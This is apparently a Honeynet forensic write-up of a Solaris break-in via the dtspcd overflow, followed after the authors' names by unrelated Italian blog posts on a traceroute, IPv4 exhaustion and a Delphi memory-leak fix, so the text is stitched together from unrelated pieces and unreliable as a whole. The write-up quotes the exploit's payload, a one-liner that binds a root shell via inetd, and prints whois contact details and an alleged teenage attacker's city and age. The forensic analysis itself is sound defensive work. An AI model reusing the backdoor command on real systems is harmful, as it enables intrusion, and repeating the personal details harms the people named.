—[ Getting start

To start analysis we've downloaded the log files day1.log.gz and
day3.log.gz from http://project.honeynet.org/scans/scan28/ then
we checked for their md5sum and finally we've decompressed them.

$ wget http://project.honeynet.org/scans/scan28/day1.log.gz
--22:12:30-- http://project.honeynet.org/scans/scan28/day1.log.gz
=> `day1.log.gz'
Resolving project.honeynet.org... done.
Connecting to project.honeynet.org[63.107.222.112]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 2,885,991 [application/x-gzip]

100%[====================================>] 2,885,991 7.87K/s
ETA 00:00

22:18:31 (7.87 KB/s) – `day1.log.gz’ saved [2885991/2885991]

$ wget http://project.honeynet.org/scans/scan28/day3.log.gz
–22:20:15– http://project.honeynet.org/scans/scan28/day3.log.gz
=> `day3.log.gz’
Resolving project.honeynet.org… done.
Connecting to project.honeynet.org[63.107.222.112]:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 3,474,770 [application/x-gzip]

100%[====================================>] 3,474,770 27.22K/s
ETA 00:00

22:22:21 (27.22 KB/s) – `day3.log.gz’ saved [3474770/3474770]

$ md5sum day1.log.gz
79e5871791542c8f38dd9cee2b2bc317 day1.log.gz
$ md5sum day3.log.gz
af8ab95f41530fe3561b506b422ed636 day3.log.gz
$ gzip -d day1.log.gz
$ gzip -d day3.log.gz

—[ Honeypot's OS

The operating system of honeypot is a SunOS, we can deduce it in
some different ways. Many hints was given by attacker, infact he had
downloaded from the network a series of tools for SunOS.
We can clearly see some binaries like "solbnc" and "ipv6sun" by watching
day1.log with ethereal.
Another way to deduce was offered again by attacker who
downloaded some patches for the system from sunsolve.
The easiest way was another time given by attacker:

17:36:37.972605 61-219-90-180.HINET-IP.hinet.net.56712 >
192.168.100.28.ingreslock: P 1:209(208) ack 1 win 5840
48511171 11
3868611> (DF)
0x0000 4500 0104 d486 4000 2c06 30c9 3ddb 5ab4 E.....@.,.0.=.Z.
0x0010 c0a8 641c dd88 05f4 805b ec2e ba6d 43c2 ..d......[...mC.
0x0020 8018 16d0 104d 0000 0101 080a 02e4 38c3 .....M........8.
0x0030 06c9 7f43 756e 616d 6520 2d61 3b6c 7320 ...Cuname.-a;ls.
0x0040 2d6c 202f 636f 7265 202f 7661 722f 6474 -l./core./var/dt
0x0050 2f74 6d70 2f44 5453 5043 442e 6c6f 673b /tmp/DTSPCD.log;
0x0060 5041 5448 3d2f 7573 722f 6c6f 6361 6c2f PATH=/usr/local/
0x0070 6269 6e3a 2f75 7372 2f62 696e 3a2f 6269 bin:/usr/bin:/bi
0x0080 6e3a 2f75 7372 2f73 6269 6e3a 2f73 6269 n:/usr/sbin:/sbi
0x0090 6e3a 2f75 7372 2f63 6373 2f62 696e 3a2f n:/usr/ccs/bin:/
0x00a0 7573 722f 676e 752f 6269 6e3b 6578 706f usr/gnu/bin;expo
0x00b0 7274 2050 4154 483b 6563 686f 2022 4244 rt.PATH;echo."BD
0x00c0 2050 4944 2873 293a 2022 6070 7320 2d66 .PID(s):."`ps.-f
0x00d0 6564 7c67 7265 7020 2720 2d73 202f 746d ed|grep.'.-s./tm
0x00e0 702f 7827 7c67 7265 7020 2d76 2067 7265 p/x'|grep.-v.gre
0x00f0 707c 6177 6b20 277b 7072 696e 7420 2432 p|awk.'{print.$2
0x0100 7d27 600a }'`.
17:36:38.102597 192.168.100.28.ingreslock >
61-219-90-180.HINET-IP.hinet.net.56712: P 3:167(164) ack 209 win 24616
7 48511194> (DF)
0x0000 4500 00d8 c8a3 4000 4006 28d8 c0a8 641c E.....@.@.(...d.
0x0010 3ddb 5ab4 05f4 dd88 ba6d 43c4 805b ecfe =.Z......mC..[..
0x0020 8018 6028 cf9c 0000 0101 080a 06c9 7f71 ..`(...........q
0x0030 02e4 38da 5375 6e4f 5320 7a6f 6265 7269 ..8.SunOS.zoberi
0x0040 7573 2035 2e38 2047 656e 6572 6963 5f31 us.5.8.Generic_1
0x0050 3038 3532 382d 3039 2073 756e 3475 2073 08528-09.sun4u.s
0x0060 7061 7263 2053 554e 572c 556c 7472 612d parc.SUNW,Ultra-
0x0070 355f 3130 0a2f 636f 7265 3a20 4e6f 2073 5_10./core:.No.s
0x0080 7563 6820 6669 6c65 206f 7220 6469 7265 uch.file.or.dire
0x0090 6374 6f72 790a 2f76 6172 2f64 742f 746d ctory./var/dt/tm
0x00a0 702f 4454 5350 4344 2e6c 6f67 3a20 4e6f p/DTSPCD.log:.No
0x00b0 2073 7563 6820 6669 6c65 206f 7220 6469 .such.file.or.di
0x00c0 7265 6374 6f72 790a 4244 2050 4944 2873 rectory.BD.PID(s
0x00d0 293a 2031 3737 330a ):.1773.

we can clearly see the "uname -a" output: "SunOS zoberius 5.8
Generic_108528-09 sun4u sparc SUNW,Ultra-5_10"

We used passive fingerprinting of the server's packets by obtaining
"SunOS 5.8 / 6" as result

Reassuming:

OPERATING SYSTEM : SunOS zoberius 5.8 Generic_108528-09 sun4u sparc
SUNW,Ultra-5_10

IP : 192.168.100.28

---[ Break in

To break in the attacker has taken advantage of a vulnerability present
in CDE (Common Desktop Environment), the default X Window System GUI
environment of SunOS. Infact the CDE Subprocess Control Server daemon is
vulnerable to a buffer overflow that can be exploited just sending a
particular client request. Once exploited the attacker can execute
arbitrary commands on the system with superuser privileges.
The dtspcd is configured to run on port 6112/tcp, and a typical inetd
configuration is the following:

dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd

In day1.log we can observe a series of connections at port 6122/tcp,
probably that connections were the specially crafted CDE client request
used to exploit the service, followed by an exchange of datas on
the dtspc ports.

0000 08 00 20 d1 76 19 00 07 ec b2 d0 0a 08 00 45 00 .. .v... ......E.
0010 00 3c 1b ca 40 00 2c 06 ea 4d 3d db 5a b4 c0 a8 .< ..@.,. .M=.Z...
0020 64 1c dc 4f 17 e0 80 39 28 15 00 00 00 00 a0 02 d..O...9 (.......
0030 16 d0 15 51 00 00 02 04 05 b4 04 02 08 0a 02 e4 ...Q.... ........
0040 33 df 00 00 00 00 01 03 03 00 3....... ..

0000 00 07 ec b2 d0 0a 08 00 20 d1 76 19 08 00 45 00 ........ .v...E.
0010 00 40 c8 93 40 00 40 06 29 80 c0 a8 64 1c 3d db .@..@.@. )...d.=.
0020 5a b4 17 e0 dc 4f ba 39 4a 1e 80 39 28 16 b0 12 Z....O.9 J..9(...
0030 60 28 34 4b 00 00 01 01 08 0a 06 c9 7a 75 02 e4 `(4K.... ....zu..
0040 33 df 01 03 03 00 01 01 04 02 02 04 05 b4 3....... ......

As supposed, in the stream we can see clearly the exploit at work and we
can obtain some important information about the arbitrary executing code:

"ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh
-i">/tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x"

0530 ff ec 82 10 20 0b 91 d0 20 08 2f 62 69 6e 2f 6b .... ... ./bin/k
0540 73 68 20 20 20 20 2d 63 20 20 65 63 68 6f 20 22 sh -c echo "
0550 69 6e 67 72 65 73 6c 6f 63 6b 20 73 74 72 65 61 ingreslo ck strea
0560 6d 20 74 63 70 20 6e 6f 77 61 69 74 20 72 6f 6f m tcp no wait roo
0570 74 20 2f 62 69 6e 2f 73 68 20 73 68 20 2d 69 22 t /bin/s h sh -i"
0580 3e 2f 74 6d 70 2f 78 3b 2f 75 73 72 2f 73 62 69 >/tmp/x; /usr/sbi
0590 6e 2f 69 6e 65 74 64 20 2d 73 20 2f 74 6d 70 2f n/inetd -s /tmp/
05a0 78 3b 73 6c 65 65 70 20 31 30 3b 2f 62 69 6e 2f x;sleep 10;/bin/
05b0 72 6d 20 2d 66 20 2f 74 6d 70 2f 78 20 41 41 41 rm -f /t mp/x AAA

Thanks to that information we know that the attacker will use a remote
root shell binded on ingreslock by inetd.

---[ ICMP "skillz"

During the analysis we have noticed a large amount of ICMP
(echo reply) packets with "skillz" in data field.

0000 00 07 ec b2 d0 0a 08 00 20 d1 76 19 08 00 45 00 ........ .v...E.
0010 04 14 40 5c 40 00 ff 01 87 f8 c0 a8 64 1c d9 74 ..@\@... ....d..t
0020 26 0a 00 00 9c a3 1a 0a 00 00 00 00 00 00 00 00 &....... ........
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 6b ........ ......sk
0040 69 6c 6c 7a 00 00 00 00 00 00 00 00 00 00 00 00 illz.... ........

The ICMP packets with "skillz" in them are used by Stacheldrath
D-DoS tool. In order to manage the DoSNet these ICMP are exchanged
among all the hosts linked in it.
This tool works on Linux and Solaris machines and can be used to perform
ICMP, SYN and UDP flood attacks moreover the attacker can specify
attack's duration and a range of ports for SYN flood.

---[ Sequences involved in the attack

The attack takes place in two days and follow these sequences:

[DAY 1]

– [1] Break in – The attacker gained a remote root shell by taking
advantage of a vulnerability in dtspcd

– [2] Dummy hide – The attacker logged into the system thanks to the
remote shell and created a home directory

– [3] Downloads – The attacker downloaded rootkit, utilities and patches
from ftp and http sites

– [4] Rootkit – The attacker run a shell script for system patching
and log cleaning. Log cleaning operations was done by
erasing all the log files. The script had replaced
also many unix utilities with trojaned versions

– [5] Backdoor – The attacker run a root backdoor using ssh

– [6] D-Dos – The attacker installed Stacheldrath client

– [7] Bouncer – The attacker installed an IRC bouncer and connected it to
irc.stealth.net

[DAY 3]

– [1] Chat – The attacker chatted with BNC placed on some channels
in ircnet due to IRC WAR actions

– [2] DOS – The attacker used the DoSNet against java.tiscalinet.it to
make a split for IRC WAR actions

– [3] SSH – The attacker made a connection using SSH and modified the
TCP/IP stack applying the IPv6 support

– [4] Reboot – To make functional the IPv6 support the attacker rebooted
the system

– [5] IRC6 – The attacker made an ipv6 tunnel p-t-p and used the bnc
on irc6.edisontel.it

—[ Martian Protocol

We don't expect to found the IPv6 protocol over an IPv4 network, in
this circumstance the IPv6 stack was enabled by the attacker, he used
this protocol to make IRC connections using irc6.edisontel.it. The
attacker is familiar to IRC WAR and used a BNC in IPv6 to make it less
exposed to DOS. We've identified this protocol because after the system
reboot we've noticed a series of ipv6 connections on irc6.edisontel.it

01:13:04.225906 ts.ipv6.tilab.com > 192.168.100.28: irc6.edisontel.com.ircd >
2001:6b8:0:400::5d0e.32780: S 2882472594:2882472594(0) ack 53523087 win 5760

0x0000 4500 0058 7f78 0000 0b29 31a0 a3a2 aaad E..X.x...)1.....
0x0010 c0a8 641c 6000 0000 001c 063b 2001 0750 ..d.`......;...P
0x0020 0002 0000 0202 a5ff fef0 aac7 2001 06b8 ................
0x0030 0000 0400 0000 0000 0000 5d0e 1a0b 800c ..........]…..
0×0040 abcf 0a92 0330 b28f 7012 1680 6596 0000 …..0..p…e…
0×0050 0204 05a0 0101 0402 ……..

03:44:24.121894 ts.ipv6.tilab.com > 192.168.100.28: irc6.edisontel.com.ircd >
2001:6b8:0:400::5d0e.32780: P 43131:43181(50) ack 7377 win 5760
0×0000 4500 0082 ef20 0000 0b29 c1cd a3a2 aaad E……..)……
0×0010 c0a8 641c 6000 0000 0046 063b 2001 0750 ..d.`….F.;…P
0×0020 0002 0000 0202 a5ff fef0 aac7 2001 06b8 …………….
0×0030 0000 0400 0000 0000 0000 5d0e 1a0b 800c ……….]…..
0×0040 abcf b30d 0330 cf5f 5018 1680 84e8 0000 …..0._P…….
0×0050 3a60 4f77 6e5a 6060 217e 6168 6161 4062 :`OwnZ“!~ahaa@b
0×0060 6163 6172 6469 2e6f 7261 6e67 652e 6f72 acardi.orange.or
0×0070 672e 7275 204e 4943 4b20 3a62 6f62 7a60 g.ru.NICK.:bobz`
0×0080 0d0a ..

—[ System used

We have identified some different systems that have been involved in the
attack. First of all we can identify the system used by the attacker to
break into the honeynet. That system is a linux box (we check the
operative system using the fingerprint) and its IP is 61.219.90.180 .
Investigating on that ip we can obtain some information about his owner:

$ whois -h whois.twnic.net 61.219.90.180
Su, Yi Chun
No.37-24, Yu Ying Rd.
Changhua County Taiwan
TW

Netname: SU-YI-CHUN-NET
Netblock: 61.219.90.128 – 61.219.90.191

Administrator contact:
Yi Chun Su (YCS65-TW) mis@taiwang.org
TEL: +886-9-23-289293

Technical contact:
Yi Chun Su (YCS65-TW) mis@taiwang.org
TEL: +886-9-23-289293

$

The result of fingerprint is: Linux 2.4.0 – Linux 2.4.18

The second system identified is that of the attacker, we can see his
evidences only when he established the connection to the IRC BNC.
The IP of the attacker is 80.117.14.222 and investigating on it we can
find that his connection is an ADSL provided by telecom italia:

bash-2.05b$ whois 80.117.14.222
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum: 80.117.0.0 – 80.117.255.255
netname: TINIT-ADSL-LITE
descr: Telecom Italia
descr: Accesso ADSL BBB
country: IT
admin-c: BS104-RIPE
tech-c: BS104-RIPE
status: ASSIGNED PA
remarks: Please send abuse notification to
abuse-bbb@telecomitalia.it
notify: ripe-staff@telecomitalia.it
mnt-by: TIWS-MNT
changed: net_ti@telecomitalia.it 20020905
source: RIPE

route: 80.117.0.0/16
descr: INTERBUSINESS
origin: AS3269
notify: network@cgi.interbusiness.it
mnt-by: INTERB-MNT
changed: net_ti@telecomitalia.it 20011210
source: RIPE

person: BBBEASYIP STAFF
address: Via Val Cannuta, 250
address: I-00100 Roma
address: Italy
phone: +39 06 36881
e-mail: ripe-staff@telecomitalia.it
nic-hdl: BS104-RIPE
notify: ripe-staff@telecomitalia.it
changed: net_ti@telecomitalia.it 20001019
source: RIPE

The result of fingerprint on the attacker system is: Windows XP Pro
The third system is the server used by attacker for rootkit and
utilities download. The IP of that system is 62.211.66.16
At the moment this IP is assigned to telecom italia net (TIN)
but maybe when take place the attack that IP was assigned to XOOM
free web hosting as we can see from the FTP banner:

FTP: 220 services FTP server (Version XOOM FTP 1.24.3+local-release
Fri Aug 28 15:52:40 PDT 1998) ready.

The result of the fingerprint on the system is: FreeBSD 4.5

The latest system obviously is the honeynet, once the attacker
break in, used it to make IRC WAR and to make DoS over the
net using Stacheldrath client. The honeynet system was linked to
other two systems for D-DoS purposes:

61.134.3.11
217.116.38.10

—[ Attacker Nationality

To identify the attacker nationality we have several ways. By watching the
IP and analyzing the whois output we can understand that the attacker is
italian because he used an adsl provided by Telecom Italia. This
kind of adsl is for home use and there are low probabilities that the
attacker spoofed his ip to connect to the BNC
The confirmation of attacker nationality comes just from BNC log, infact
he talking on irc (in italian) told the name of the city where he lives:

: |AnDr34z|!~OmBr4@vhost.irc6.server.tb.ngnet.it PRIVMSG #bobz :ma tu di
dove sei ,)
: |AnDr34z|!~OmBr4@vhost.irc6.server.tb.ngnet.it PRIVMSG #bobz :che non
ho ancora capito
:bobz`!~ahaa@irc6.vhost.la PRIVMSG #bobz : Salerno

Il pacchetto e’ questo:

18:40:34.118157 irc-1.stealth.net.5555 > 192.168.100.28.32805: P
46566:46617(51) ack 6890 win 8192 (DF)
0×0000 4500 005b 1b52 4000 3306 ec75 cefc c0c3 E..[.R@.3..u….
0×0010 c0a8 641c 15b3 8025 c7a5 b672 fdbf cf3e ..d….%…r…>
0×0020 5018 2000 ea48 0000 3a62 6f62 7a60 217e P….H..:bobz`!~
0×0030 6168 6161 4069 7263 362e 7668 6f73 742e ahaa@irc6.vhost.
0×0040 6c61 2050 5249 564d 5347 2023 626f 627a la.PRIVMSG.#bobz
0×0050 203a 5361 6c65 726e 6f0d 0a .:Salerno..

The attacker says that is from Salerno and standing by his IP this is
plausible. In another log the attacker reveal also his age

18:41:12.825540 irc-1.stealth.net.5555 > 192.168.100.28.32805: P
47165:47214(49) ack 6979 win 8192 (DF)
0×0000 4500 0059 9e63 4000 3306 6966 cefc c0c3 E..Y.c@.3.if….
0×0010 c0a8 641c 15b3 8025 c7a5 b8c9 fdbf cf97 ..d….%……..
0×0020 5018 2000 79f8 0000 3a62 6f62 7a60 217e P…y…:bobz`!~
0×0030 6168 6161 4069 7263 362e 7668 6f73 742e ahaa@irc6.vhost.
0×0040 6c61 2050 5249 564d 5347 2023 626f 627a la.PRIVMSG.#bobz
0×0050 203a 616e 6e69 3f0d 0a .:anni?..

18:41:21.934924 irc-1.stealth.net.5555 > 192.168.100.28.32805: P
47214:47289(75) ack 6979 win 8192 (DF)
0×0000 4500 0073 bddb 4000 3306 49d4 cefc c0c3 E..s..@.3.I…..
0×0010 c0a8 641c 15b3 8025 c7a5 b8fa fdbf cf97 ..d….%……..
0×0020 5018 2000 7100 0000 3a7c 416e 4472 3334 P…q…:|AnDr34
0×0030 7a7c 217e 4f6d 4272 3440 7668 6f73 742e z|!~OmBr4@vhost.
0×0040 6972 6336 2e73 6572 7665 722e 7462 2e6e irc6.server.tb.n
0×0050 676e 6574 2e69 7420 5052 4956 4d53 4720 gnet.it.PRIVMSG.
0×0060 2362 6f62 7a20 3a31 3720 7475 2076 657a #bobz.:17.tu.vez
0×0070 3f0d 0a ?..

18:41:28.584475 irc-1.stealth.net.5555 > 192.168.100.28.32805: P
47289:47335(46) ack 6979 win 8192 (DF)
0×0000 4500 0056 d30e 4000 3306 34be cefc c0c3 E..V..@.3.4…..
0×0010 c0a8 641c 15b3 8025 c7a5 b945 fdbf cf97 ..d….%…E….
0×0020 5018 2000 5425 0000 3a62 6f62 7a60 217e P…T%..:bobz`!~
0×0030 6168 6161 4069 7263 362e 7668 6f73 742e ahaa@irc6.vhost.
0×0040 6c61 2050 5249 564d 5347 2023 626f 627a la.PRIVMSG.#bobz
0×0050 203a 3135 0d0a .:15..

—[ Conclusion

Standing by attack topology and modus operandi of the attacker we can
suppose that the attacker is just a script-kiddie that wasn’t searching
for any reserved information but he needed only a system to make IRC
WAR. The attack was brutal and after it the system was full of anomalous
things: the log was cleaned using the command “rm” by a script, was
installed a non supported protocol by default (IPv6), the shell binded
on a port not used on that system and so on.
All that anomalies allow us to have notice of an intruder in the system
that could be eventually pursued by law
We was able to analyze all the sessions because are in clear text, the
only one not analyzed is the ssh one.
Teorically we can decode also that protocol because there
are either the public and private keys in the rootkit.

—[ Notes

With a dumb IDS implementations the presence of unusual protocol should
be a bypassing method of the IDS because if the protocol is unknown to
IDS it doesn’t match any of the criteria implemented so no rules in the
IDS can give us a response and no alarm is reported.

To decode the log in pcap format we used a series of tool for packet
analysis: tcpdump, ethereal and tcpflow; standard shell tools for log
parsing: strings, awk, ecc; and the whois to obtain informations on
adress information

—[ The authors

Luca Memini
Francesco Perna

Alla fine siamo giunti alla censura di stato a livello di routing… (quella a livello di dns era troppo stupida effettivamente)

root@nirvana ~ # traceroute www.thepiratebay.org
traceroute to www.thepiratebay.org (194.71.107.15), 30 hops max, 40 byte packets
1  * * *
2  host157-34-static.42-88-b.business.telecomitalia.it (88.42.34.157)  53.016 ms  56.297 ms  59.948 ms
3  r-mi225-vl19.opb.interbusiness.it (80.20.7.12)  63.885 ms  67.742 ms  71.181 ms
4  crs-mi003-r-mi225.opb.interbusiness.it (151.99.99.53)  74.871 ms  78.796 ms  82.104 ms
5  * * *
6  * * *
7  * * *
8  * * *
root@nirvana ~ # traceroute 194.71.107.16
traceroute to 194.71.107.16 (194.71.107.16), 30 hops max, 40 byte packets
1  * * *
2  host29-34-static.42-88-b.business.telecomitalia.it (88.42.34.29)  60.772 ms  64.545 ms  68.029 ms
3  r-mi225-vl19.opb.interbusiness.it (80.20.7.12)  71.995 ms  75.204 ms  78.932 ms
4  crs-mi004-r-mi225.opb.interbusiness.it (151.99.99.61)  82.431 ms  85.586 ms  89.882 ms
5  172.17.6.121 (172.17.6.121)  93.836 ms  97.007 ms  100.976 ms
6  mil50-ibs-resid-7.mil.seabone.net (195.22.192.29)  105.747 ms  47.967 ms  48.596 ms
7  decix-fra52-racc3.fra.seabone.net (195.22.211.205)  70.062 ms  69.409 ms  69.346 ms
8  xe-1-2-0.mpr1.fra4.de.above.net (80.81.194.26)  160.112 ms  160.854 ms  161.201 ms
9  xe-0-0-0.mpr1.fra3.de.above.net (64.125.31.217)  163.505 ms  163.483 ms  163.484 ms
10  xe-4-1-0.mpr1.ams1.nl.above.net (64.125.24.9)  167.147 ms  165.154 ms  165.974 ms

Al che, un pò preoccupato con tutti i colleghi ci siamo chiesti cosa stesse succedendo… da qualche ricerca qui e la si è concluso che ormai Sun non esiste più, e il messaggio è stato chiaro, aprendo www.sun.com compare il sito di oracle.

E proprio la fine di un’era…

Questo cacciavite non funziona!

– Mainman

Ma andiamo per gradi, che cos’è un indirizzo IP!?!? Per citare Wikipedia (si per ora Tanenbaum lasciamolo tranquillo)

Un Indirizzo IP è un numero che identifica univocamente un dispositivo collegato a una rete informatica che comunica utilizzando lo standard IP (Internet Protocol).

Per farla semplice, possiamo paragonare un indirizzo IP ad un numero di telefono, se da casa mia voglio chiamare qualcuno per parlarci dovrò conoscere il suo numero di telefono, e su internet succede esattamente lo stesso solo che è un pò “nascosto” alla vista degli utenti… ma la logica è questa, semplice no?

Il problema nasce quando i numeri di telefono assegnabili sono inferiori alle persone che chiedono di avere un telefono… ed è quello che sta succedendo su Internet, e recente la notizia che lo IANA (Internet Assigned Numbers Authority) ha iniziato ad assegnare quelle classi che erano marcate come “NON ALLOCATE” e che venivano tenute da parte per momenti di “crisi”.
Come possiamo vedere da questo documento a gennaio 2010 e stata assegnata ad APNIC la classe 1.x.x.x ! (per la gioia degli utenti Fastweb dell’area di Milano che inizieranno ad avere collisioni… )

Sarà ora di accellerare il passaggio a IPv6 e dobbiamo farlo in fretta per salvare Alice, Bob e Carl !!!

Un minuto di silenzio per ricordare i dati così prematuramente scomparsi..

test.exe: Rilevato leak della memoria
—————————
L’applicazione ha dei leak di memoria. I leak di piccoli blocchi sono (sono esclusi i leak attesi registrati da puntatori):

1 – 12 byte: TiTunesCategory x 69, TSimpleParserRSS x 3, TIdThreadSafeInteger x 1, AnsiString x 69
13 – 20 byte: TiTunesDuration x 69, TRSSAuthor x 69, TRSSItemSource x 69, TRSSItemGUID x 69, TRSSItemEnclosure x 69, TRFC822DateTime x 69, TList x 138, AnsiString x 69, Sconosciuta x 69
21 – 28 byte: TRSSItemCategory x 69, TiTunesKeywords x 69, TRSSItemCategories x 69, TIdCriticalSection x 2
29 – 36 byte: TiTunesItemExtra x 69
37 – 44 byte: AnsiString x 69
45 – 52 byte: AnsiString x 69

Nota: Per ottenere un file di log contenente i dettagli sui leak della memoria, abilitate le direttive condizionali “FullDebugMode” e “LogMemoryLeakDetailToFile”. Per disabilitare i controlli dei leak della memoria, non definire la direttiva “EnableMemoryLeakReporting”.

—————————

Tantini è? se teniamo conto conto che in genere un Feed RSS ogni tanto va anche aggiornato tutti questi errori si motiplicano!!

Preso bene da questo lavoro mi sono armato di debug e pazienza e mi sono messo alla ricerca dei leak perduti…

Il primo grosso problema era dovuto alla creazione di una serie di oggetti nel file SimpleRSSTypes.pas, in pratica tutto ciò che riguardava iTunes veniva creato ed allocato ma non esisteva il distruttore che eliminasse quanto allocato in precedenza, quindi ho risolto  con una bel override del distruttore e dove facevo il free delle risorse:

destructor TRSSItem.Destroy;
begin
  FCategory.Free;
  FPubDate.Free;
  FEnclosure.Free;
  FGUID.Free;
  FSource.Free;
  FAuthor.Free;
  FiTunes.Free;
  inherited;
end;

Fatto questo rimanevano soltanto il leak del  TSimpleParserRSS (oltre ai due intrinsechi delle Indy che per ora non tratterò), in questo caso il bug era nel file SimpleRSS.pas, in due punti si assegnava appunto TSimpleParserRSS a aParser ma finito il suo lavoro non veniva liberato, ho risolto con un blocco Try Finally tipo questo:

finally
  aParser.Free;
end;

Questo risolveva i problemi di leak, rimanevano due bugfix da fare per permettere la compilazione, ovvero l’inclusione della unit IdGlobalProtocols in SimpleRSSTypes.pas per permettere di risolvere la funzione StrInternetToDateTime() che altrimenti non veniva trovata.

Qui bugfix.diff e possibile scaricare il diff (fatto da linux) delle modifiche che ho apportato…
Mentre qui SimpleRSS_fixed.tar è possibile tutto il l’archivio completo già corretto, prossimamente vedrò di pubblicarlo nella sezione “code”